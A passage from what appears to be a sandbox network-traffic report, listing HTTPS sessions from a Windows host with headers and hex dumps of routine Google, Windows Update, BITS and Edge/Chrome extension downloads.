2024-11-19 17:00:29 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 18 Nov 2024 15:16:35 GMT Expires: Tue, 18 Nov 2025 15:16:35 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 92634 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-19 17:00:29 UTC	475	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-19 17:00:29 UTC	1390	IN	Data Raw: 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 Data Ascii: n a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw E
2024-11-19 17:00:29 UTC	1390	IN	Data Raw: 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 2e Data Ascii: efined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.assign=="function"?Object.
2024-11-19 17:00:29 UTC	1390	IN	Data Raw: 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 3a 68 28 74 68 69 73 2e 54 4a 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 53 64 61 3d 66 75 6e 63 74 69 Data Ascii: ;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject:h(this.TJ)}};e.prototype.Sda=functi
2024-11-19 17:00:29 UTC	1390	IN	Data Raw: 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 6b 29 7b 76 61 72 20 6c 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 2e 63 61 6c 6c 28 6b 2c 6c 2e 72 65 73 6f 6c 76 65 Data Ascii: totype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=function(h,k){var l=this.jF();try{h.call(k,l.resolve
2024-11-19 17:00:29 UTC	1390	IN	Data Raw: 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 66 26 26 63 3c 65 3b 29 69 66 28 64 5b 63 2b 2b 5d 21 3d 62 5b 68 2b 2b 5d 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 20 68 3e 3d 66 7d 7d Data Ascii: egular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for(var h=0;h<f&&c<e;)if(d[c++]!=b[h++])return!1;return h>=f}}
2024-11-19 17:00:29 UTC	1390	IN	Data Raw: 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 72 65 74 75 72 6e 20 63 28 6c 29 26 26 73 61 28 6c 2c 66 29 3f 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3a 76 6f 69 64 Data Ascii: (l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return this};k.prototype.get=function(l){return c(l)&&sa(l,f)?l[f][this.Ga]:void
2024-11-19 17:00:29 UTC	1390	IN	Data Raw: 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 21 21 64 28 74 68 69 73 2c 6b 29 2e 5a 65 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: h\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this.size=0};c.prototype.has=function(k){return!!d(this,k).Ze};c.prototype.get=function(
2024-11-19 17:00:29 UTC	1390	IN	Data Raw: 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 75 72 6e 21 31 3b 66 3d 65 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 3d 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 2e 78 21 3d 34 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 3f 21 31 3a 65 2e 6e 65 Data Ascii: ]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)return!1;f=e.next();return f.done\|\|f.value[0]==c\|\|f.value[0].x!=4\|\|f.value[1]!=f.value[0]?!1:e.ne
2024-11-19 17:00:29 UTC	1390	IN	Data Raw: 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 3a 28 65 2d 3d 36 35 35 33 36 2c 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 3e 3e 3e 31 30 26 31 30 32 33 7c 35 35 32 39 36 29 2c 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 26 31 30 32 33 7c 35 36 33 32 30 29 29 7d 72 65 74 75 72 6e 20 63 7d 7d 29 3b 6e 61 28 Data Ascii: d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e):(e-=65536,c+=String.fromCharCode(e>>>10&1023\|55296),c+=String.fromCharCode(e&1023\|56320))}return c}});na(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49725	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:31 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-19 17:00:31 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=85493 Date: Tue, 19 Nov 2024 17:00:31 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49729	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:32 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-19 17:00:32 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=85453 Date: Tue, 19 Nov 2024 17:00:32 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-19 17:00:32 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49730	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:33 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=6LtLuxTTxdf5n1z&MD=N2tnl4rg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-19 17:00:33 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: d2e4f786-3b34-4cbe-9e5c-d7596d8c458a MS-RequestId: 0b1756e7-f673-4201-ac5f-54e0b940d033 MS-CV: Gj99p3mjTkutOVP2.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 19 Nov 2024 17:00:33 GMT Connection: close Content-Length: 24490
2024-11-19 17:00:33 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-19 17:00:33 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49738	94.245.104.56	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:38 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:39 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Tue, 19 Nov 2024 17:00:38 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=a587c58b7add197be0a9663062a92023b083c99ba7c79b57ef31f5e62dbb3c2f;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=a587c58b7add197be0a9663062a92023b083c99ba7c79b57ef31f5e62dbb3c2f;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49745	142.250.185.65	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:39 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:40 UTC	571	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC76i6nkF4d11cES3HlUhSPcmmGjZZDSxTXCgX6gwin7T1d3IU4WcplKWkPO6eAlCL-Q_mtVfvbXtg X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Tue, 19 Nov 2024 16:45:00 GMT Expires: Wed, 19 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Age: 939 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-19 17:00:40 UTC	819	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-19 17:00:40 UTC	1390	IN	Data Raw: be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 Data Ascii: V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|
